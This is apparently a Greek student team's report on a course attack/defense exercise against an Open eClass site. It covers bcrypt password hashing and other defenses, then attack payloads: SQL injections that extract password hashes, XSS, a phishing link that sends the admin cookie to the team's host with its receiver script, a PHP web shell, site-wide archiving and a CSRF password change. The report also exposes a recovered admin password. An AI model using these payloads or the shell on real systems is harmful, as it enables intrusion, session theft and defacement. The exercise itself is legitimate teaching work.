Όπως έχουμε πει και στο μάθημα, μία hash function πρέπει να είναι one way. Με αυτόν τον τρόπο, και να αποκτήσει κάποιος επιτιθέμενος το hash ενός κωδικού δεν μπορεί να βρεί τον αρχικό κωδικό. Όμως έχουμε αναφέρει και το πόσο σημαντική είναι η χρήση salt στην διαδικασία του hashing, καθώς δυσκολεύουν πολύ το σπάσιμο του hash. Όταν γράφουμε σπάσιμο εννοούμε τη διαδικασία εύρεσης του αρχικού κωδικού συγκρίνοντας hashes από πολύ γνωστά passwords με αυτό που έχουμε βρει. Όπως γνωρίζουμε, είναι πολύ εύκολο σήμερα για αρκετούς (συχνά χρησιμοποιούμενους) και εύκολους σχετικά κωδικούς να βρούμε τον αρχικό κωδικό γνωρίζοντας μόνο το hash του και τον τύπο του. Μάλιστα υπάρχουν online εφαρμογές που δεν χρειάζεται καν να τους δώσεις τον τύπο του hash και δίνοντας μόνο αυτό σου βρίσκουν μέσα σε δευτερόλεπτα τον αρχικό κωδικό. Γνωρίζοντας ότι για τον drunkadmin θα πάρουμε αρκετά περίπλοκο κωδικό, τον οποίο δεν θα μπορεί η αντίπαλη ομάδα να βρεί μέσα σε δευτερόλεπτα ψάχνοντας στο internet, δεν υπήρχε πολύ σημαντικός λόγος να αλλάξουμε το hash function που χρησιμοποιούσε το openeclass. Όμως το γεγονός ότι ο md5 δεν χρησιμοποιείται πια παρά μόνο για άλλες λειτουργίες όπως checksums, θεωρήσαμε ότι ήταν σωστό να αναβαθμίσουμε το hash function σε κάτι πολύ πιο αξιόπιστο, καθώς και να προσθέσουμε φυσικά την χρήση salt.
Ψάχνοντας βρήκαμε αυτό το repository https://github.com/ircmaxell/password_compat, το οποίο προσφέρει μία βιβλιοθήκη, η οποία κάνει συμβατή τη χρήση των συναρτήσεων για hashing επόμενων εκδόσεων της PHP. Εμείς επιλέξαμε να χρησιμοποιήσουμε τον αλγόριθμο Bcrypt για το hashing δίνοντας cost=14. Μία ενδεικτική κλήση της συνάρτησης που χρησιμοποιήσαμε είναι:
```php
$hash = password_hash($password, PASSWORD_BCRYPT, array("cost" => 14));
```
Το αποτέλεσμα είναι της μορφής:
```
$2y$14$cIxXsmBqVOI8ISDF6SHqXe77OJJ1DpGYm7.I4wN4D9qm1EY.eWOnS
```
$2y --> είναι για την βελτιωμένη έκδοση του Bcrypt αλγόριθμου
$14 --> είναι για το κόστος που έχουμε βάλει
Τέλος έχουμε το $salt και το $hash.
Για να ελέγξουμε τώρα αν ο κωδικός που έδωσε ο χρήστης είναι ο σωστός ή όχι δεν μπορούμε να κάνουμε ό,τι γινόταν πριν. Δεν μπορούμε δηλαδή να βρούμε το hash του κωδικού που έδωσε ο χρήστης και να τον συγκρίνουμε με αυτόν που έχουμε αποθηκευμένο στη βάση. Αυτό συμβαίνει γιατι πολύ απλά χρησιμοποιούμε salt και έτσι κάθε φορά που καλούμε την hash function δίνοντας τον ίδιο κωδικό παίρνουμε διαφορετικό αποτέλεσμα. Επομένως χρησιμοποιούμε τον τρόπο που αναφέρεται από τη βιβλιοθήκη. Μια ενδεικτική χρήση είναι:
```php
if (password_verify($password, $hash)) {
/* Valid */
} else {
/* Invalid */
}
```
Μία τελευταία αλλαγή που χρειάστηκε να κάνουμε, εκτός από το να αλλάξουμε όλα τα απαραίτητα σημεία χρησιμοποιώντας τις 2 καινούριες συναρτήσεις, ήταν η αλλαγή του μεγέθους του password στην Βάση Δεδομένων. Πιο συγκεκριμένα το μέγεθος που είχε αρχικά στη βάση ο κωδικός ήταν max 50 χαρακτήρες. Όμως τα καινούρια hashes είχαν μέγεθος 60 χαρακτήρες οπότε το αλλάξαμε.
:::spoiler Σε περίπτωση που θέλει κάποιος να εγκαταστήσει ξανά το vm μαζί με τον κώδικα και την αλλαγή του hashFunction ας πατήσει εδώ.
Είναι σημαντικό να γράψουμε τα βήματα που χρειάζονται ώστε να μην τα ξεχάσουμε μελλοντικά. Πρέπει να εγκαταστήσουμε το openeclass όπως είναι και μπαίνοντας στην Βάση Δεδομένων - μέσω του phpmyadmin - να κάνουμε 2 βήματα:
1. Να αλλάξουμε το μέγεθος της στήλης password στο table user.
2. Να προσθέσουμε στον drunkadmin ένα σωστό hash το οποίο θα πρέπει να κάνουμε generate.
Εμείς χρησιμοποιούσαμε το test_hash.php ώστε να κάνουμε generate ένα καινούριο hash.
:::
</div>
### XST - Cross Site Tracing
<div style="text-align: justify">
Έχοντας εφαρμόσει όλες αυτές τις μεθόδους άμυνας φτάσαμε σε ένα σημείο να αναρωτιόμαστε αν υπάρχει κάποιος τρόπος να γίνουν bypassed. Το κύριο ερώτημα που είχαμε ήταν αν το HttpOnly Cookie μπορεί να μην είναι αρκετό ώστε να γλυτώσουμε από Session Hijacking attacks. Ψάξαμε λοιπόν στο διαδίκτυο και βρήκαμε το παρακάτω post:
https://github.com/nu11secur1ty/Disabling-the-TRACE-method-in-Apache2/blob/master/Apache%20Tips:%20Disable%20the%20HTTP%20TRACE%20Method.md
Σε αυτό αναφέρεται το paper https://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf το οποίο έφερε για πρώτη φορά τον όρο Cross Site Tracing. Συγκεκριμένα αυτή είναι μία επίθεση κατά την οποία ο επιτιθέμενος μπορεί να εκμεταλλευτεί το TRACE HTTP Request Method, το οποίο χρησιμεύει για debugging, και να κλέψει το user input καθώς και πληροφορίες όπως το cookie. Όπως αναφέρεται στο συγκεκριμένο post η λύση είναι η απενεργοποίηση του TRACE από τον server. Στο online VM που μας είχε δοθεί ήταν ήδη απενεργοποιημένη αυτή η λειτουργία καθώς υπήρχε στο αρχείο /etc/apache2/conf-enabled/security.conf το εξής:
```
TraceEnabled off
```
</div>
### Password Plain Text protection
<div style="text-align: justify">
Στην ερφαμοργή που έπρεπε να προστατέψουμε υπήρχαν 2 σημεία όπου ο κωδικός ήταν σε plain text μορφή.
1. Στο αρχείο config.php.
2. Στο αρχείο eclassconf.php
Δεν μπορούσαμε να κάνουμε κάτι στην πρώτη περίπτωση καθώς έπρεπε ο κωδικός να βρίσκεται εκεί ώστε να συνδέεται η εφαρμογή στη Βάση Δεδομένων. Στην δεύτερη περίπτωση όμως, χωρίς να υπάρχει κάποιος ουσιαστικός λόγος, εμφανιζόταν ο κωδικός της ΒΔ. Το site έδινε τη δυνατότητα στο διαχειριστή να αλλάξει τον κωδικό σε εκείνο το αρχείο όμως κανονικά η αλλαγή γίνεται μέσω του phpmyadmin. Για να προστατέψουμε το site από επιθέσεις όπου κάποιος θα ανακατεύθυνε τον drunkadmin σε εκείνο το αρχείο και ύστερα θα διάβαζε κάπως τον κωδικό αφαιρέσαμε την ύπαρξη του σε εκείνο το σημείο. Προσθέσαμε "καρφωτά" στον κώδικα του αρχείου eclassconf.php το όνομα του διαχειριστή της ΒΔ και τον κωδικό πρόσβασης ώστε να παραμείνει η λειτουργικότητα και να μην χαλάσει η δυνατότητα αλλαγής του αρχείου ρυθμίσεων χωρίς βέβαια να αλλάζει ο κωδικός από εκεί!
Παρακάτω φαίνεται ακριβώς η αλλαγή που κάναμε:

</div>
## Επίθεση
### Πρώτη Φάση
<div style="text-align: justify">
Ξεκινήσαμε ελέγχοντας τις περισσότερες sqli επιθέσεις που είχαμε βρει ώστε να πάρουμε το hash του drunkadmin.
:::info
Για τα SQL Injections έχουμε χρησιμοποιήσει την <b>UNION</b> εντολή, η οποία επιτρέπει να προσθέσουμε δεύτερο SELECT query με τον περιορισμό ο αριθμός των στηλών του δικού μας SELECT να είναι ίσος με τον αριθμό των στηλών του SELECT του original query. Εφόσον εμείς είχαμε τον αρχικό κώδικα στα χέρια μας ήταν εύκολο να φτιάξουμε τα δεύτερα SELECT και δεν χρειαζόταν να χρησιμοποιήσουμε κάποια μεθοδολογία για να βρούμε το πλήθος των στηλών! Επίσης έχουμε χρησιμοποιήσει τη συνάρτηση της MySQL <b>GROUP_CONCAT()</b> με την οποία μπορούσαμε να πάρουμε πολλές πληροφορίες μαζί!
:::
Οι sqli επιθέσεις ήταν:
1. Στο αρχείο contactadmin.php στο οποίο έχει κάποιος χρήστης πρόσβαση χωρίς να χρειάζεται να κάνει εγγραφή! Θεωρούσαμε ότι αυτό το κενό δύσκολα θα το είχε καλύψει κάποια ομάδα οπότε ήταν το πρώτο σημείο που δοκιμάσαμε. :x:
```
/modules/auth/contactadmin.php?userid=1' union select 1,group_concat(0x3c62723e,user_id,0x3a,0x3a,nom,0x3a,0x3a,prenom,0x3a,0x3a,username,0x3a,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from user-- -
```
2. Στην Περιοχή Συζητήσεων δημιουργώντας ένα topic (newtopic.php) :x:
```
/modules/phpbb/newtopic.php?forum=1' and 1=2 ) union (select GROUP_CONCAT(username,password),2,3 from eclass.user ) --
```
3. Στην Περιοχή Συζητήσεων βλέποντας ένα topic (viewtopic.php) :x:
```
/modules/phpbb/viewtopic.php?topic=1 AND 1=2) UNION (SELECT 1,GROUP_CONCAT(user_id,username,password) FROM eclass.user ) --
```
4. Στην Περιοχή Συζητήσεων απαντώντας σε ένα topic (reply.php) :x:
```
/modules/phpbb/reply.php?topic=1 AND 1=2) UNION (select 1,2,3,GROUP_CONCAT(user_id,username,password) from eclass.user) --
```
5. Στις Εργασίες :x:
```
/modules/work/work.php?id=1' and 1=2 union (select GROUP_CONCAT(username,password) from eclass.user) --
```
Δυστυχώς καμία επίθεση δεν πέτυχε οπότε αυτό μας έκανε να στραφούμε σε άλλη κατηγορία επιθέσεων! Κοιτάξαμε για XSS στα παρακάτω σημεία:
:::info
Είναι σημαντικό να πούμε ότι έπρεπε να κάνουμε προσεκτικές κινήσεις, καθώς σε περίπτωση που κάναμε κάποιο επιτυχημένο stored xss με alert(1), τότε θα μας δυσκόλευε κάποια επίθεση στο μέλλον. Γι' αυτόν τον λόγο όταν κάναμε δοκιμή σε κάποιο stored xss ή κάπου που δεν είμασταν σίγουροι ότι ήταν reflected χρησιμοποιούσαμε το <b>console.log("test")</b> ώστε να μην επηρεάζει πουθενά στο μέλλον.
:::
1. Στο «Ξεχάσατε το συνθηματικό σας;» [<em>reflected</em>] :heavy_check_mark:
```
Όνομα χρήστη: <script>console.log("test")</script>
email: test@gmail.com
```
2. Στο "Το Ημερολόγιο μου" αλλάζοντας μήνα [<em>reflected</em>] :heavy_check_mark:
```
/modules/agenda/myagenda.php?month=5&year=<script>console.log("test")</script>
```
Το πρώτο σημείο δεν βοηθούσε κάπου στην επίθεση μας καθώς για να πάρουμε το cookie του drunkadmin έπρεπε να είναι συνδεδεμένος. Έτσι δεν είχε νόημα να τον κατευθύνουμε πίσω στην σελίδα ανάκτησης κωδικού. Μόλις όμως βρήκαμε ένα σημείο xss τότε αμέσως προχωρήσαμε στη δεύτερη φάση της επίθεσης μας.
</div>
### Δεύτερη Φάση
<div style="text-align: justify">
Σκοπός μας τώρα είναι να πάρουμε το cookie του drunkadmin και να μπούμε ως διαχειριστής της αντίπαλης ομάδας. Έτσι φτιάξαμε το παρακάτω email για να στείλουμε στον drunkadmin.
<em>
Σε ενημερώνουμε ότι έχει ανέβει καινούρια φωτογραφία με πολύ όμορφα κουτάβια. Πάτησε [εδώ](#Δεύτερη-Φάση) για να τη δεις!
Έχεις λάβει αυτό το email επειδή είσαι γραμμένος στο site: omada.puppies.chatzi.org .
</em>
Το link ήταν αυτό:
http://securityvshacking.csec.chatzi.org/modules/agenda/myagenda.php?month=5&year=%3Cscript%3Edocument.body.style.backgroundColor%20=%20'white';document.location=%27http://omada.puppies.chatzi.org/s3cReTss/cookie_receiver.php?cookie=%27%2Bdocument.cookie%3C/script%3E
:::info
Σκοπός μας ήταν να εκμεταλλευτούμε το xss και να τρέξουμε τον παραπάνω κώδικα. Παραθέτουμε το script ξανά χωρίς url encoding ώστε να φανεί καλύτερα. Πρέπει να σημειώσουμε ότι είναι σημαντικό το encoding και του + σε %2B καθώς στην αρχή δεν γινόταν όταν πατούσαμε το link με αποτέλεσμα να μην δουλεύει η επίθεση μας. Επίσης βάλαμε το χρώμα του background σε άσπρο ώστε να κρύψουμε κάποια sql errors που έβγαιναν!
:::
```javascript
<script>document.body.style.backgroundColor = 'white';document.location='http://omada.puppies.chatzi.org/s3cReTss/cookie_receiver.php?cookie='+document.cookie</script>
```
Πατώντας το παραπάνω link ο drunkadmin ανακατευθυνόταν στο puppies μας, στέλνοντας ταυτόχρονα και το cookie του. Ο κώδικας που είχε το αρχείο cookie_receiver.php φαίνεται στη συνέχεια.
```php
<?php
if (isset($_REQUEST['cookie'])){
$cookie = $_REQUEST['cookie'];
file_put_contents('cookies.txt', $cookie.PHP_EOL , FILE_APPEND | LOCK_EX);
}
else{
file_put_contents('cookies.txt', 'cookie did not received'.PHP_EOL , FILE_APPEND | LOCK_EX);
}
header("Location: ../more_puppies.php");
?>
```
Ουσιαστικά αποθηκεύαμε το cookie σε ένα αρχείο και ανακατευθύναμε τον drunkadmin σε μία καινούρια σελίδα στο puppies όπου είχαμε ανεβάσει την νέα φωτογραφία με τα κουτάβια.
</div>
### Τρίτη Φάση
<div style="text-align: justify">
Έχοντας πλέον session στο αντίπαλο site ως drunkadmin θέλαμε να ολοκληρώσουμε τα δύο ζητούμενα της άσκησης. Πρώτον, θέλαμε να βρούμε το hash του drunkadmin όπως αυτό αποθηκεύεται στη βάση ή ακόμα καλύτερα να βρούμε τον κωδικό σε plain text. Δεύτερον, θέλαμε να κάνουμε deface το site.
Για τον κωδικό του drunkadmin γνωρίζαμε ότι υπήρχε ως plain text σε δύο σημεία. Το ένα ήταν το config.php το οποίο δεν μπορούσαμε εύκολα να το δούμε. Το δεύτερο και πιο εύκολο ήταν το eclassconf.php το οποίο υπήρχε κάτω από τη Διαχείριση Πλατφόρμας στο Αρχείο ρυθμίσεων. Πράγματι, στην δεύτερη περίπτωση υπήρχε ο κωδικός με type=password κι έτσι κάνοντας inspect element αλλάξαμε το type σε text παίρνοντας τον κωδικό του drunkadmin σε plain text που ήταν: <b>egGvemxYNg</b>
:::info
Επειδή η εκφώνηση ζητάει συγκεκριμένα να βρούμε τον κωδικό όπως αυτός αποθηκεύεται στη βάση δίνουμε και το hash του:
<b>$2a\$08$.Rg0LKGIgaDHB2LeLgvaTelcdEfhfiLDfnIhdHYuBWt89IXO.aF52</b>
Όπως φαίνεται από το hash του κωδικού του drunkadmin, οι αντίπαλοι είχαν αλλάξει το md5 hashing που χρησιμοποιούσε το eclass σε κάτι πιο advanced (παρόμοιο με το δικό μας).
:::
Βρίσκοντας τον κωδικό μπορούσαμε τώρα να έχουμε πρόσβαση και στην Βάση Δεδομένων μέσω του phpmyadmin. Μπήκαμε και είδαμε προς έκπληξη μας ότι το όνομα της βάσης eclass είχε αλλάξει σε <b>x4bMain</b>. Αυτό μας έκανε εντύπωση γιατι δεν το είχαμε σκεφτεί στην διάρκεια της άμυνας. Προφανώς σκεφτήκαμε ότι ο κύριος λόγος που δεν πέτυχε κανένα sqli ήταν αυτός. Δεν ασχοληθήκαμε όμως εκείνη τη στιγμή με αυτό καθώς θέλαμε να κάνουμε deface.
Η πρώτη ιδέα που είχαμε σκεφτεί την περίοδο της άμυνας ήταν να προσθέσουμε μία ανακοίνωση του διαχειριστή η οποία να είναι ορατή από όλους και να φαίνεται στην κεντρική σελίδα index.php. Γνωρίζαμε ότι υπήρχαν stored xss attacks σε εκείνη τη σελίδα οπότε θα μπορούσαμε να ανακατευθύνουμε όλους όσους έμπαιναν στο αντίπαλο site στην δική μας σελίδα του defacement. Συγκεκριμένα στην αρχική έκδοση του openeclass υπήρχαν stored xss στα:
* Τίτλος (Ελληνικά)
* Σχόλια (Ελληνικά)
* Τίτλος (Αγγλικά)
* Σχόλια (Αγγλικά)
Όμως προσπαθώντας να ελέγξουμε αν πετυχαίνουν τα xss είδαμε ότι δεν γίνονται. Ψάχνοντας λίγο στις 4 λειτουργίες του μαθήματος βρήκαμε ότι δεν υπήρχε έλεγχος για τον τύπο του αρχείου που ανεβάζαμε ούτε στην εργασία ούτε στην ανταλλαγή αρχείων. Bingo! Γνωρίζαμε ότι κάθε αρχείο που ανεβαίνει πηγαίνει σε ένα μυστικό μονοπάτι όμως μέσω της βάσης δεδομένων μπορούσαμε να βρούμε που είναι.
Η αρχική ιδέα ήταν να διαβάσουμε το αρχείο adminannouncements.php για να δούμε τι είχε κάνει η αντίπαλη ομάδα. Οπότε ανεβάσαμε το αρχείο readFile.php στις εργασίες, το οποίο είχε τον εξής κώδικα:
```php
<?php
$path = "/var/www/html/modules/admin/adminannounements.php";
$myfile = fopen($path, "r") or die("Unable to open file!");
$char = TRUE;
while($char !== FALSE){
$char = fgetc($myfile);
if ($char == "<" || $char == "?") //to avoid php execution remove <? tag
continue;
echo $char;
}
fclose($myfile);
?>
```
Πήραμε τον κώδικα της συγκεκριμένης σελίδας και είδαμε ότι η αντίπαλη ομάδα είχε χρησιμοποιήσει prepared statements. Επίσης για την ώρα δεν μπορούσαμε να καταλάβουμε τι έχουν κάνει και δεν δουλεύουν τα xss (εν τέλει τα είχαν φτιάξει στην σελίδα επεξεργασίας των ανακοινώσεων του διαχειριστή αλλά όχι στην αρχική σελίδα) οπότε σκεφτήκαμε ότι θα μπορούσαμε να ανεβάσουμε το αρχικό unpatched adminannouncements.php και να το βάλουμε στη θέση του δικού τους ώστε να κάνουμε τελικά το defacement.
:::info
Βασικό ρόλο στο κομμάτι του defacement και των επόμενων επιθέσεων που κάναμε διαδραμάτισε η σκέψη να χρησιμοποιήσουμε τη συνάρτηση shell_exec() της php ώστε να μπορέσουμε να τρέξουμε εντολές όπως mv, ls, pwd κλπ
:::
Μιας και το defacement το κάναμε την πρώτη μέρα των επιθέσεων (first blood) δεν είχαμε σκεφτεί πως θα μπορούσαμε να κάνουμε κάτι πιο interactive από αυτό που θα περιγράψουμε παρακάτω.
:::info
Τελικά καταφέραμε τις επόμενες μέρες να φτιάξουμε ένα πιο interactive "shell".
:::
Ανεβάζαμε στις εργασίες ένα αρχείο, συνήθως με όνομα commands.php, όπου μέσα γράφαμε εντολές που θέλαμε να εκτελέσουμε με την συνάρτηση shell_exec(). Όταν θέλαμε να ανεβάσουμε ένα αρχείο στη θέση κάποιου άλλου το ανεβάζαμε μέσω του dropbox και τρέχοντας τις κατάλληλες εντολές κάναμε την αλλαγή.
Για να βάλουμε το αρχικό adminannouncements.php στην θέση αυτού της αντίπαλης ομάδας κάναμε τα εξής:
1. Ανεβάσαμε το αρχείο μέσω του dropbox
2. Βρήκαμε μέσω της Βάσης Δεδομένων το όνομα του στο server
3. Φτιάξαμε το κατάλληλο commands.php και το τρέξαμε
Το περιεχόμενο του commands.php ήταν:
```php
<?php
shell_exec('mv /var/www/html/modules/admin/adminannouncements.php /var/www/html/modules/admin/adminannouncements_old.php ');
shell_exec('mv /var/www/html/courses/TMA100/dropbox/5ea6e35bvaok21ht9494ce8d1a8c5fcb.php /var/www/html/modules/admin/adminannouncements.php');
$output = shell_exec('ls -la /var/www/html/modules/admin/');
echo "<pre>$output</pre>";
?>
```
Την ώρα που καταφέραμε αυτήν την αλλαγή μας ήρθε η ιδέα ότι θα ήταν πιο δυνατό να πειράξουμε το index.php από το να κάνουμε απλώς redirect μέσω μιας ανακοίνωσης. Επομένως αρχίσαμε να περιηγούμαστε μέσα στον φάκελο /var/www/html/ καθώς και να τρέχουμε κάποιες εντολές όπως whoami, ifconfig, pwd κλπ.

Αμέσως παρατηρήσαμε τα εξής:
1. Το index.php το είχε ο root και δεν μπορούσαμε να γράψουμε σε αυτό.
2. Υπήρχε ένας περίεργος φάκελος με όνομα ένα μεγάλο hash.
Σκεφτήκαμε ότι αν μπορούσαμε να μετονομάσουμε το index.php σε κάτι άλλο τότε θα μπορούσαμε να ανεβάσουμε στη θέση του το δικό μας index.php που θα είχε το defacement. Δοκιμάσαμε να κάνουμε
```
mv index.php index_old.php
```
και πράγματι πέτυχε! Γνωρίζαμε ότι είχε πια τελειώσει το δύσκολο κομμάτι και πως σύντομα the team SecurityVSHacking would be defaced!
Πριν ξεκινήσουμε να ψάχνουμε ιδέες για το defacement θέλαμε να σιγουρευτούμε ότι πράγματι κάτω από τον φάκελο με το παράξενο όνομα βρισκόταν το config.php όπως υποψιαζόμασταν. Τρέξαμε τις παρακάτω εντολές μέσω του αρχείου commands.php που ανεβάσαμε
```php
$output = shell_exec('ls -la');
echo "<pre>$output</pre>";
$output = shell_exec('ls -la /var/www/html/');
echo "<pre>$output</pre>";
$output = shell_exec('ls -la /var/www/html/151ffbe225400df5ed9002eb462ff50d/');
echo "<pre>$output</pre>";
$output = shell_exec('cp /var/www/html/151ffbe225400df5ed9002eb462ff50d/496e6f68304239861e24b60de6a4966b.php /var/www/html/whatisinthisfile.txt');
echo "<pre>$output</pre>";
$output = shell_exec('chmod 777 /var/www/html/whatisinthisfile.txt');
echo "<pre>$output</pre>";
$output = shell_exec('ls -la /var/www/html/');
echo "<pre>$output</pre>";
```
και πήραμε τα παρακάτω αποτέλεσμα:

Το μόνο που έμενε τώρα είναι να διαβάσουμε το αρχείο! Προς έκπληξη μας η εντολή cat
δεν έπαιζε μέσω της συνάρτησης shell_exec() οπότε διαβάσαμε το αρχείο με τον τρόπο που δείξαμε και πιο πάνω χρησιμοποιώντας το readFile.php.

Έχοντας φτιάξει τώρα τη σελίδα του defacement ανεβάσαμε την δική μας σελίδα στο dropbox και κάναμε μετονομασία της παλιάς σε index_old.php και ύστερα αντιγραφή της δικής μας σελίδας ως index.php στο /var/www/html/. Στείλαμε email στο βοηθό για να κάνουμε claim το defacement και συνεχίσαμε το ψάξιμο!

Προς κακή μας τύχη δεν ξέραμε ότι αλλάζοντας την αρχική σελίδα και χάνοντας το session (κλείνοντας τον browser) δεν θα μπορούσαμε να συνδεθούμε ξανά ως drunkadmin! Στη χειρότερη περίπτωση θα ζητούσαμε από την αντίπαλη ομάδα να αλλάξει ξανά τα 2 indexes ώστε να συνεχίσουμε τις επιθέσεις για το report. Όμως ως hackers ήταν λίγο υποτιμητικό να κάνουμε κάτι τέτοιο. Έτσι, ψάξαμε πως θα μπορούσαμε να το φτιάξουμε μόνοι μας. Βρήκαμε ότι η μόνη αλλαγή που χρειαζόταν να γίνει ήταν στο αρχείο logged_out_content.php, όπου σε κάποιο σημείο υπήρχε ο κώδικας:
```htmlmixed
<form action="${urlSecure}index.php" method="post">
```
Αλλάζοντας λοιπόν το index.php σε index_old.php θα μπορούσαμε να χρησιμοποιήσουμε ξανά την λειτουργία του login. Ο μόνος τρόπος να γίνει αυτό ήταν να ανεβάσουμε το δικό μας αρχείο (φτιαγμένο) στην θέση αυτού της αντίπαλης ομάδας, πράγμα το οποίο κάναμε. Έτσι είχαμε πια κανονική πρόσβαση στο openeclass και μπορούσαμε να συνεχίσουμε τις επιθέσεις!
Τις επόμενες μέρες γράψαμε ένα πιο interactive php script ώστε να μπορούμε να τρέχουμε όποιες εντολές θέλουμε χωρίς να τις γράφουμε στο αρχείο commands.php και να το ανεβάζουμε συνέχεια επάνω. Παρακάτω φαίνεται το advanced_script.php το οποίο μας έδινε την δυνατότητα - ανεβάζοντας το μόνο μία φορά - να
1. τρέξουμε όποια εντολή θέλαμε
2. να διαβάσουμε όποιο αρχείο θέλαμε
Προσπαθήσαμε να χρησιμοποιήσουμε και την λειτουργία του file upload ώστε να γίνονται όλα από ένα αρχείο αλλά δυστυχώς δεν δούλεψε. Πιο συγκεκριμένα διαβάσαμε ότι γίνεται php file upload μέσω form αλλά για να δουλεύει η συγκεκριμένη λειτουργία πρέπει να είναι ενεργοποιημένη (που μάλλον δεν ήταν).

:::spoiler Κώδικας
```htmlmixed=
<html>
<title>Wannabe Shell</title>
<h1>Let's hack this site</h1>
</a>
<body>
<?php
echo "
<form action='#' method='POST' enctype='multipart/form-data'>
Select file to upload:
<input type='file' name='file' id='file'>
<input type='submit' value='upload' name='upload'>
</form>
";
echo "
<form name='command' action='#' method='POST'>
<label for='cmd'>Command</label>
<input type='text' name='cmd' autocomplete='off'>
<input type='submit' value='Run'>
</form>
";
echo "
<form name='command' action='#' method='POST'>
<label for='readFile'>File to read</label>
<input type='text' name='readFile' autocomplete='off'>
<input type='submit' value='Run'>
</form>
";
#$uploaddir = "/var/www/html/";
#$uploadfile = $uploaddir . basename($_FILES['file']['name']);
#echo $uploadfile;
#echo $_FILES['file']['name']
#print_r($_FILES);
#echo $_FILES["file"]["error"];
if($_SERVER['REQUEST_METHOD'] == 'POST'){
if (isset($_POST['cmd']) && $_POST['cmd'] != ""){
$output = shell_exec($_POST['cmd']);
echo "<pre>$output</pre>";
}
if (isset($_POST['readFile']) && $_POST['readFile'] != ""){
$configFile = $_POST['readFile'];
$myfile = fopen($configFile, "r") or die("Unable to open file!");
$char = TRUE;
while($char !== FALSE){
$char = fgetc($myfile);
if ($char == "<")
echo "<";
else if ($char == "?")
echo "\?";
else
echo $char;
}
fclose($myfile);
}
if (isset($_POST['upload'])){
move_uploaded_file($_FILES["file"]["tmp_name"],
"./" . $_FILES["file"]["name"]);
shell_exec("mv ".$_FILES["file"]["tmp_name"]." /var/www/html/".$_FILES["file"]["name"]);
shell_exec("mv ".$_FILES["file"]["tmp_name"]." /tmp/".$_FILES["file"]["name"]);
$cmd = "mv ".$_FILES["file"]["tmp_name"]." /var/www/html/".$_FILES["file"]["name"];
echo $cmd;
exec("mv ".$_FILES["file"]["tmp_name"]." /var/www/html/".$_FILES["file"]["name"], $output, $return);
// Return will return non-zero upon an error
echo "<br>".$return;
if (!$return) {
echo "PDF Created Successfully";
} else {
echo "PDF not created";
}
echo "Upload: " . $_FILES["file"]["name"] . "<br>";
echo "Type: " . $_FILES["file"]["type"] . "<br>";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
}
?>
</body>
</html>
```
:::
Το τελευταίο πράγμα που θέλαμε να δοκιμάσουμε πριν να προχωρήσουμε σε επιθέσεις που είχαμε βρει στο κομμάτι της άμυνας ήταν να πάρουμε τον κώδικα όλου του site! Θεωρούσαμε ότι αυτό θα ήταν από τα δυνατότερα χτυπήματα, καθώς θα μπορούσαμε - ύπο κανονικές συνθήκες - να δούμε και ό,τι αρχείο είχε ανέβει στο μάθημα (είτε στο dropbox είτε στο work), καθώς επίσης στη συγκεκριμένη περίπτωση να δούμε ό,τι έκανε η άλλη ομάδα για να προστατέψει το site.
Τρέχοντας την παρακάτω εντολή μέσα από το advanced_script.php καταφέραμε να φτιάξουμε το site.tar.gz που περιείχε όλον τον κώδικα:
```
tar -cvzf /var/www/html/site.tar.gz /var/www/html/*
```
Στη συνέχεια πηγαίνοντας απλώς στο http://securityvshacking/site.tar.gz κατεβάσαμε το αρχείο στα pc μας!
</div>
### Άλλες επιθέσεις που δοκιμάσαμε
<div style="text-align: justify">
1. Στην εγγραφή ενός χρήστη αν έδινες το απλό <script>evil-script-here</script> δεν περνούσε σε κανένα πεδίο. Όμως, δίνοντας στα πεδία <em>Όνομα, Επώνυμο, Αριθμός Μητρώου</em> μια διαφορετική εκδοχή της παραπάνω επίθεσης περνούσε. Φυσικά, για να σκάσουν τα alert() έπρεπε να δώσουμε κάτι λάθος κατά την εγγραφή. Αυτό ήταν το email, το οποίο βέβαια αν δεν ήταν valid είχε το ίδιο πρόβλημα με τα προαναφερθέντα πεδία. Το XSS είναι reflected, αλλά θα μπορούσε να χρησιμοποιηθεί για να κλέψει π.χ. το cookie του drunkadmin. Παρόλα αυτά, επειδή έχουν χρησιμοποιήσει AntiCSRF Token δεν θα μπορούσαμε να κάνουμε CSRF στη φόρμα της εγγραφής για να κλέψουμε κάτι από τον drunkadmin. Η παραλλαγή των script tags φαίνεται εδώ: (newuser.php) :x:
```
'><script>evil-script-here</script>
```
2. Γράφοντας στο τέλος του URL (συγκεκριμένα μετά από ένα αρχείο file.php) κάτι συγκεκριμένο μπορούσαμε να προσθέσουμε κώδικα στην original σελίδα του ιστοχώρου. Αυτό το «κόλπο» πετυχαίνει σε κάθε σελίδα php του ιστοχώρου. Οπότε εύκολα μία σελίδα που δεν έχει φόρμα και AntiCSRF Token, χρησιμοποιείται για να παραπλανήσουμε τον drunkadmin και να μας δώσει το cookie του ή να τον οδηγήσουμε σε οποιαδήποτε άλλη σελίδα θέλουμε με αυτό το reflected XSS. :heavy_check_mark:
```
/filename.php/""><script>evil-script-here</script>
```
Για παράδειγμα: /modules/admin/edituser.php/""><script>evil-script-here</script>
3. Ένα πολύ σημαντικό σημείο στο οποίο <b>δεν</b> είχε χρησιμοποιήσει η αμυνόμενη ομάδα AntiCSRF Token ήταν στο αρχείο που αναφέρουμε παραπάνω (edituser.php) στο οποίο μπορεί ο διαχειριστής με ένα post form να αλλάξει τον κωδικό οποιουδήποτε χρήστη, ακόμα και του εαυτού του! :heavy_check_mark:
Για παράδειγμα με τον παρακάτω τρόπο μπορούσαμε να αλλάξουμε τον κωδικό του drunkadmin σε 123 και να συνδεθούμε ως διαχειριστής.
```
/modules/admin/password.php?submit=yes&changePass=do&userid=1&password_form=123&password_form1=123
```
:::info
Τις CSRF επιθέσεις που δοκιμάσαμε, αφού είχαμε κάνει deface και συνδεθεί ως διαχειριστής, δεν τις πραγματοποιήσαμε μέσω email στον βοηθό. Για να μπορέσουμε να κάνουμε γρήγορα και πολλές επιθέσεις - χωρίς να σπαμάρουμε - χρησιμοποιήσαμε το Postman βάζοντας στο Cookie ένα valid cookie από το session που φτιάχναμε με τον drunkadmin
:::

4. Στο ημερολόγιο του χρήστη στο tag <em>month</em> του URL δεν δεχόταν reflected XSS. :x:
```
/modules/agenda/myagenda.php?month='<script>alert(1)</script>'&year=2020
```
